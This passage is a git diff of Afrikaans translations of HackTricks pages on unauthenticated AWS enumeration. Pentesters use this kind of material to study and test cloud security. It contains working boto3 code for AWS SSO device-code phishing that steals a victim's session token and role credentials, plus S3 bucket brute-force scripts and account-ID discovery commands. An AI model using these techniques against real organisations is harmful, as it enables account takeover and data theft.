Center** kan bereik. -Om hierdie aanval uit te voer, is die vereistes: +Om hierdie aanval uit te voer is die vereistes: -- Die slagoffer moet **Identiteitsentrum** gebruik +- Die slagoffer moet **Identity Center** gebruik - Die aanvaller moet die **subdomein** ken wat deur die slagoffer gebruik word `.awsapps.com/start` -Net met die vorige inligting, sal die **aanvaller in staat wees om 'n skakel na die gebruiker te stuur** wat, indien **aangeneem**, die **aanvaller toegang tot die AWS gebruiker** rekening sal gee. +Net met die vorige inligting, sal die **aanvaller in staat wees om 'n skakel na die gebruiker te stuur** wat, as dit **aanvaar** word, die **aanvaller toegang tot die AWS-gebruikerrekening** sal gee. -### Aanval +### Attack 1. **Vind die subdomein** -Die eerste stap van die aanvaller is om uit te vind watter subdomein die slagoffer maatskappy in hul Identiteitsentrum gebruik. Dit kan gedoen word deur **OSINT** of **raai + BF** aangesien die meeste maatskappye hul naam of 'n variasie van hul naam hier sal gebruik. +Die eerste stap van die aanvaller is om uit te vind watter subdomein die slagoffermaatskappy in hul Identity Center gebruik. Dit kan gedoen word via **OSINT** of **guessing + BF** aangesien meeste maatskappye hul naam of 'n variasie daarvan hier sal gebruik. -Met hierdie inligting is dit moontlik om die streek te kry waar die Identiteitsentrum geconfigureer is: +Met hierdie inligting is dit moontlik om die streek te kry waar die Identity Center gekonfigureer is: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` 2. **Genereer die skakel vir die slagoffer & Stuur dit** -Voer die volgende kode uit om 'n AWS SSO aanmeldskakel te genereer sodat die slagoffer kan autentiseer.\ -Vir die demo, voer hierdie kode in 'n python-konsol uit en verlaat dit nie, aangesien jy later 'n paar voorwerpe nodig sal hê om die token te verkry: +Voer die volgende kode uit om 'n AWS SSO-aanmeldskakel te genereer sodat die slagoffer kan authentiseer.\ +Vir die demo, voer hierdie kode in 'n python-konsol uit en verlaat dit nie, aangesien jy later sommige objekte sal nodig hê om die token te kry: ```python import boto3 @@ -52,18 +52,18 @@ url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` -Stuur die gegenereerde skakel na die slagoffer met jou wonderlike sosiale ingenieursvaardighede! +Stuur die gegenereerde skakel na die slagoffer met jou fantastiese social engineering skills! 3. **Wag totdat die slagoffer dit aanvaar** -As die slagoffer **reeds in AWS ingelog** was, sal hy net die toestemmings moet aanvaar, as hy nie was nie, sal hy moet **inlog en dan die toestemmings aanvaar**.\ -So lyk die prompt vandag: +As die slagoffer **alreeds by AWS aangemeld was** sal hy net die toestemmings hoef te aanvaar, as hy dit nie was nie, sal hy moet **aanmeld en dan die toestemmings aanvaar**.\ +So lyk die prompt deesdae:
-4. **Kry SSO toegangstoken** +4. **Kry SSO access token** -As die slagoffer die prompt aanvaar het, voer hierdie kode uit om **'n SSO-token te genereer wat die gebruiker naboots**: +As die slagoffer die prompt aanvaar het, hardloop hierdie kode om **'n SSO-token te genereer wat die gebruiker naboots**: ```python token_response = sso_oidc.create_token( clientId=client_id, @@ -73,9 +73,9 @@ deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` -Die SSO toegangstoken is **geldigheid vir 8h**. +Die SSO access token is **geldig vir 8h**. -5. **Imiteer die gebruiker** +5. **Impersonate the user** ```python sso_client = boto3.client('sso', region_name=REGION) @@ -102,13 +102,13 @@ accountId= ) sts_creds.get('roleCredentials') ``` -### Phishing die onphishbare MFA +### Phishing the unphisable MFA -Dit is lekker om te weet dat die vorige aanval **werk selfs al word 'n "onphishbare MFA" (webAuth) gebruik**. Dit is omdat die vorige **werkstroom nooit die gebruikte OAuth-domein verlaat nie**. Nie soos in ander phishing-aanvalle waar die gebruiker die aanmeld-domein moet vervang nie, in die geval is die toestelkode werkstroom voorberei sodat 'n **kode bekend is aan 'n toestel** en die gebruiker kan aanmeld selfs op 'n ander masjien. As die prompt aanvaar word, kan die toestel, net deur **die aanvanklike kode te ken**, **akkrediteer** vir die gebruiker **herwin**. +Dit is interessant om te weet dat die vorige aanval **works even if an "unphisable MFA" (webAuth) is being used**. Dit is omdat die vorige **workflow never leaves the used OAuth domain**. Nie soos in ander phishing attacks waar die gebruiker die login domain moet vervang nie; in hierdie geval is die device code workflow so opgestel dat 'n **code is known by a device** en die gebruiker selfs op 'n ander machine kan login. As die prompt aanvaar word, sal die device, net deur **knowing the initial code**, in staat wees om **retrieve credentials** vir die gebruiker te verkry. -Vir meer inligting oor hierdie [**kyk hierdie pos**](https://mjg59.dreamwidth.org/62175.html). +Vir meer inligting oor dit [**check this post**](https://mjg59.dreamwidth.org/62175.html). -### Outomatiese Gereedskap +### Outomatiese gereedskap - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) @@ -120,4 +120,4 @@ Vir meer inligting oor hierdie [**kyk hierdie pos**](https://mjg59.dreamwidth.or - [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md index e4e43861a..0dfc24097 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md @@ -1,6 +1,6 @@ -# AWS - IoT Ongeauthentiseerde Enum +# AWS - IoT Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Publieke URL-sjabloon ``` @@ -8,4 +8,4 @@ mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md index c334f718b..07dde43cf 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md @@ -1,9 +1,9 @@ # AWS - Kinesis Video Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Publieke URL-sjabloon ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md deleted file mode 100644 index 9d3f96d09..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - Lambda Ongeauthentiseerde Toegang - -{{#include ../../../banners/hacktricks-training.md}} - -## Publieke Funksie URL - -Dit is moontlik om 'n **Lambda** te verbind met 'n **publieke funksie URL** wat enige iemand kan toegang. Dit kan web kwesbaarhede bevat. - -### Publieke URL sjabloon -``` -https://{random_id}.lambda-url.{region}.on.aws/ -``` -### Kry rekening ID van openbare Lambda URL - -Net soos met S3-buckets, Data Exchange en API-gateways, is dit moontlik om die rekening ID van 'n rekening te vind wat die **`aws:ResourceAccount`** **Policy Condition Key** van 'n openbare lambda URL misbruik. Dit word gedoen deur die rekening ID een karakter op 'n slag te vind deur gebruik te maak van wildcard in die **`aws:ResourceAccount`** afdeling van die beleid.\ -Hierdie tegniek laat ook toe om **waardes van etikette** te kry as jy die etiket sleutel ken (daar is 'n paar standaard interessante). - -Jy kan meer inligting vind in die [**oorspronklike navorsing**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die hulpmiddel [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie uitbuiting te outomatiseer. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md new file mode 100644 index 000000000..dd11c1ff3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md @@ -0,0 +1,20 @@ +# AWS - Lambda Toegang sonder verifikasie + +{{#include ../../../../banners/hacktricks-training.md}} + +## Openbare Funksie-URL + +Dit is moontlik om 'n **Lambda** te koppel aan 'n **openbare funksie-URL** wat deur enigiemand bereik kan word. Dit kan web-kwesbaarhede bevat. + +### Openbare URL-sjabloon +``` +https://{random_id}.lambda-url.{region}.on.aws/ +``` +### Kry rekening-ID vanaf openbare Lambda-URL + +Net soos met S3 buckets, Data Exchange en API gateways, is dit moontlik om die rekening-ID van 'n rekening te vind deur die **`aws:ResourceAccount`** **Policy Condition Key** te misbruik vanaf 'n openbare Lambda-URL. Dit word gedoen deur die rekening-ID een karakter op 'n slag te bepaal deur wildcards in die **`aws:ResourceAccount`**-afdeling van die beleid te misbruik.\ +Hierdie tegniek laat ook toe om **waardes van tags** te kry as jy die tag-sleutel ken (daar is 'n paar standaard interessante tags). + +Jy kan meer inligting vind in die [**oorspronklike navorsing**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die hulpmiddel [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie uitbuiting te outomatiseer. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md similarity index 63% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md index f641e88cd..8eebe40ad 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md @@ -1,11 +1,11 @@ # AWS - Media Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -### Publieke URL-sjabloon +### Sjabloon vir openbare URL ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md deleted file mode 100644 index 54008bc5f..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - MQ Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Publieke Poort - -### **RabbitMQ** - -In die geval van **RabbitMQ**, is **publieke toegang** en ssl standaard geaktiveer. Maar jy het **akkrediteer** nodig om toegang te verkry (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Boonop is dit moontlik om die **webbestuurskonsol** te **benader** as jy die akkrediteer in `https://b-.mq.us-east-1.amazonaws.com/` ken. - -### ActiveMQ - -In die geval van **ActiveMQ**, is publieke toegang en ssl standaard geaktiveer, maar jy het akkrediteer nodig om toegang te verkry. - -### Publieke URL sjabloon -``` -https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ -ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md new file mode 100644 index 000000000..fd4935d67 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md @@ -0,0 +1,20 @@ +# AWS - MQ Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Publieke Poort + +### **RabbitMQ** + +In die geval van **RabbitMQ** is standaard publieke toegang en ssl aangeskakel. Jy het egter credentials nodig om toegang te kry (`amqps://.mq.us-east-1.amazonaws.com:5671`). Boonop is dit moontlik om toegang tot die web management console te kry as jy die credentials ken by `https://b-.mq.us-east-1.amazonaws.com/` + +### ActiveMQ + +In die geval van **ActiveMQ** is standaard publieke toegang en ssl aangeskakel, maar jy het credentials nodig om toegang te kry. + +### Publieke URL-sjabloon +``` +https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ +ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md deleted file mode 100644 index e93b806df..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - MSK Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Publieke Poort - -Dit is moontlik om die **Kafka-broker aan die publiek bloot te stel**, maar jy sal **akkrediteer** nodig hê, IAM-toestemmings of 'n geldige sertifikaat (afhangende van die geconfigureerde outentikasie metode). - -Dit is ook **moontlik om outentikasie te deaktiveer**, maar in daardie geval is dit **nie moontlik om die poort direk aan die Internet bloot te stel** nie. - -### Publieke URL-sjabloon -``` -b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com -{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md new file mode 100644 index 000000000..ae25ca045 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md @@ -0,0 +1,16 @@ +# AWS - MSK Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Publieke Poort + +Dit is moontlik om die **Kafka-broker vir die publiek bloot te stel**, maar jy sal **inlogbewyse**, IAM-magte of 'n geldige sertifikaat benodig (afhangende van die gekonfigureerde auth-metode). + +Dit is ook **moontlik om autentisering uit te skakel**, maar in daardie geval is dit **nie moontlik om die poort direk aan die Internet bloot te stel** nie. + +### Publieke URL-sjabloon +``` +b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com +{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md similarity index 63% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md index 55e316012..762843241 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md @@ -1,22 +1,22 @@ -# AWS - RDS Ongeauthentiseerde Enum +# AWS - RDS Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS -Vir meer inligting, kyk: +Vir meer inligting, sien: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ## Publieke Poort -Dit is moontlik om publieke toegang tot die **databasis vanaf die internet** te gee. Die aanvaller sal steeds moet **weet wat die gebruikersnaam en wagwoord is,** IAM-toegang hê, of 'n **exploit** hê om in die databasis te kom. +Dit is moontlik om publieke toegang tot die **databasis vanaf die internet** te gee. Die aanvaller sal steeds die **gebruikersnaam en wagwoord** moet ken, IAM-toegang benodig, of 'n **exploit** moet hê om toegang tot die databasis te kry. -## Publieke RDS Snapshot +## Publieke RDS Snapshots -AWS laat toe dat **enige iemand toegang het om RDS-snapshots af te laai**. Jy kan hierdie publieke RDS-snapshots baie maklik vanaf jou eie rekening lys: +AWS laat toe om **toegang aan enigiemand te gee om RDS snapshots af te laai**. Jy kan hierdie publieke RDS snapshots baie maklik vanaf jou eie rekening lys: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -37,4 +37,4 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md deleted file mode 100644 index 363ac7fdb..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Redshift Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Publieke URL-sjabloon -``` -{user_provided}...redshift.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md new file mode 100644 index 000000000..8f9ed1799 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Redshift Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Publieke URL-sjabloon +``` +{user_provided}...redshift.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md deleted file mode 100644 index 93f733168..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ /dev/null @@ -1,194 +0,0 @@ -# AWS - S3 Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 Publieke Emmers - -'n Emmer word beskou as **“publiek”** as **enige gebruiker die inhoud** van die emmer kan lys, en **“privaat”** as die emmer se inhoud **slegs deur sekere gebruikers gelys of geskryf kan word**. - -Maatskappye mag **emmer toestemmings verkeerd geconfigureer** hê wat toegang gee ofwel tot alles of tot almal wat in AWS in enige rekening geverifieer is (dus vir enige iemand). Let daarop dat selfs met sulke misconfigurasies sommige aksies dalk nie uitgevoer kan word nie, aangesien emmers hul eie toegangbeheerlyste (ACLs) mag hê. - -**Leer meer oor AWS-S3 miskonfigurasie hier:** [**http://flaws.cloud**](http://flaws.cloud/) **en** [**http://flaws2.cloud/**](http://flaws2.cloud) - -### Vind AWS Emmers - -Verskillende metodes om te vind wanneer 'n webblad AWS gebruik om sommige hulpbronne te stoor: - -#### Enumerasie & OSINT: - -- Gebruik **wappalyzer** blaaiertoevoeging -- Gebruik burp (**spidering** die web) of deur handmatig deur die bladsy te navigeer, sal al die **hulpbronne** **gelaai** in die Geskiedenis gestoor word. -- **Kyk vir hulpbronne** in domeine soos: - -``` -http://s3.amazonaws.com/[bucket_name]/ -http://[bucket_name].s3.amazonaws.com/ -``` - -- Kyk vir **CNAMES** aangesien `resources.domain.com` die CNAME `bucket.s3.amazonaws.com` mag hê -- **[s3dns](https://github.com/olizimmermann/s3dns)** – 'n liggewig DNS-bediener wat passief cloud stoor emmers (S3, GCP, Azure) identifiseer deur DNS-verkeer te analiseer. Dit detecteer CNAMEs, volg resolusiekettings, en pas emmerpatrone toe, wat 'n stil alternatief bied vir brute-force of API-gebaseerde ontdekking. Perfect vir recon en OSINT werkvloei. -- Kyk [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), 'n web met reeds **ontdekke oop emmers**. -- Die **emmer naam** en die **emmer domeinnaam** moet **diezelfde wees.** -- **flaws.cloud** is in **IP** 52.92.181.107 en as jy daarheen gaan, lei dit jou na [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Ook, `dig -x 52.92.181.107` gee `s3-website-us-west-2.amazonaws.com`. -- Om te kyk of dit 'n emmer is, kan jy ook **besoek** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). - -#### Brute-Force - -Jy kan emmers vind deur **brute-forcing name** wat verband hou met die maatskappy wat jy pentest: - -- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) -- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Bevat 'n lys met potensiële emmer name) -- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) -- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) -- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) -- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) -- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) -- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) - -
# Genereer 'n woordlys om permutasies te skep
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# Genereer 'n woordlys gebaseer op die domeine en subdomeine om te toets
-## Skryf daardie domeine en subdomeine in subdomains.txt
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# Skep permutasies gebaseer op 'n lys met die domeine en subdomeine om aan te val
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## Die vorige hulpmiddel is gespesialiseerd in die skep van permutasies vir subdomeine, laat ons daardie lys filter
-### Verwyder lyne wat eindig met "."
-cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Skep lys sonder TLD
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Skep lys sonder punte
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Skep lys sonder koppelpunte
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## Genereer die finale woordlys
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## Roep s3scanner aan
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-
- -#### Loot S3 Emmers - -Gegewe S3 oop emmers, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) kan outomaties **soek na interessante inligting**. - -### Vind die Streek - -Jy kan al die ondersteunende streke deur AWS vind in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) - -#### Deur DNS - -Jy kan die streek van 'n emmer kry met 'n **`dig`** en **`nslookup`** deur 'n **DNS versoek van die ontdekte IP** te doen: -```bash -dig flaws.cloud -;; ANSWER SECTION: -flaws.cloud. 5 IN A 52.218.192.11 - -nslookup 52.218.192.11 -Non-authoritative answer: -11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. -``` -Kontroleer dat die opgeloste domein die woord "website" bevat.\ -Jy kan die statiese webwerf bereik deur te gaan na: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -of jy kan die emmer bereik deur te besoek: `flaws.cloud.s3-us-west-2.amazonaws.com` - - - -#### Deur te Probeer - -As jy probeer om toegang tot 'n emmer te verkry, maar in die **domeinnaam spesifiseer jy 'n ander streek** (byvoorbeeld die emmer is in `bucket.s3.amazonaws.com` maar jy probeer toegang verkry tot `bucket.s3-website-us-west-2.amazonaws.com`, dan sal jy **na die korrekte ligging gewys word**: - -![](<../../../images/image (106).png>) - -### Enumerering van die emmer - -Om die oopheid van die emmer te toets, kan 'n gebruiker eenvoudig die URL in hul webblaaier invoer. 'n Privaat emmer sal met "Toegang geweier" antwoordgee. 'n Publieke emmer sal die eerste 1,000 voorwerpe lys wat gestoor is. - -Oop vir almal: - -![](<../../../images/image (201).png>) - -Privaat: - -![](<../../../images/image (83).png>) - -Jy kan dit ook met die cli kontroleer: -```bash -#Use --no-sign-request for check Everyones permissions -#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions -#--recursive if you want list recursivelyls -#Opcionally you can select the region if you now it -aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] -``` -As die emmer nie 'n domeinnaam het nie, wanneer jy probeer om dit te enumereer, **sit net die emmernaam** en nie die hele AWSs3-domein nie. Voorbeeld: `s3://` - -### Publieke URL-sjabloon -``` -https://{user_provided}.s3.amazonaws.com -``` -### Kry rekening ID van openbare emmer - -Dit is moontlik om 'n AWS-rekening te bepaal deur voordeel te trek uit die nuwe **`S3:ResourceAccount`** **Beleidstoestand Sleutel**. Hierdie toestand **beperk toegang gebaseer op die S3-emmer** waarin 'n rekening is (ander rekening-gebaseerde beleide beperk gebaseer op die rekening waarin die versoekende prinsiep is).\ -En omdat die beleid **wildcards** kan bevat, is dit moontlik om die rekeningnommer **net een nommer op 'n slag** te vind. - -Hierdie hulpmiddel outomatiseer die proses: -```bash -# Installation -pipx install s3-account-search -pip install s3-account-search -# With a bucket -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket -# With an object -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext -``` -Hierdie tegniek werk ook met API Gateway URL's, Lambda URL's, Data Exchange datastelle en selfs om die waarde van etikette te kry (as jy die etiket sleutel ken). Jy kan meer inligting vind in die [**oorspronklike navorsing**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die hulpmiddel [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie uitbuiting te outomatiseer. - -### Bevestiging dat 'n emmer aan 'n AWS-rekening behoort - -Soos verduidelik in [**hierdie blogpos**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, as jy toestemmings het om 'n emmer te lys** is dit moontlik om 'n accountID te bevestig waaraan die emmer behoort deur 'n versoek soos te stuur: -```bash -curl -X GET "[bucketname].amazonaws.com/" \ --H "x-amz-expected-bucket-owner: [correct-account-id]" - - -... -``` -As die fout 'n "Toegang geweier" is, beteken dit dat die rekening-ID verkeerd was. - -### Gebruik van e-posse as wortelrekening enumerasie - -Soos verduidelik in [**hierdie blogpos**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), is dit moontlik om te kyk of 'n e-posadres 